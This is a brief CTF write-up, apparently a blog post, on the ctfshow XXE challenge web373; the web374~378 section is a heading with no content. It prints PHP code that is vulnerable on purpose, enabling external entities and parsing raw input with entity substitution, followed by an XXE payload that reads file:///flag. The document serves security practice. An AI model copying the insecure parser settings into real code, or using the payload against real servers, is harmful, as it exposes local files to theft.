xxe(ctfshow)

  1. web373
  2. web374~378

web373

// 允许加载外部实体 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 ( ; )
libxml_disable_entity_loader(false);
// xml文件来源于数据流
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
      // 加载xml实体,参数为替代实体、加载外部子集
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
      // 把 DOM 节点转换为 SimpleXMLElement 对象
    $creds = simplexml_import_dom($dom);
      // 节点嵌套
    $ctfshow = $creds->ctfshow;
    echo $ctfshow;
}

burpsuite发包,不能用hackbar

<?xml version="1.0"?>
<!DOCTYPE payload [
<!ELEMENT payload ANY>
<!ENTITY xxe SYSTEM "file:///flag">
]>
<flag>
<ctfshow>&xxe;</ctfshow>
</flag>

web374~378


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。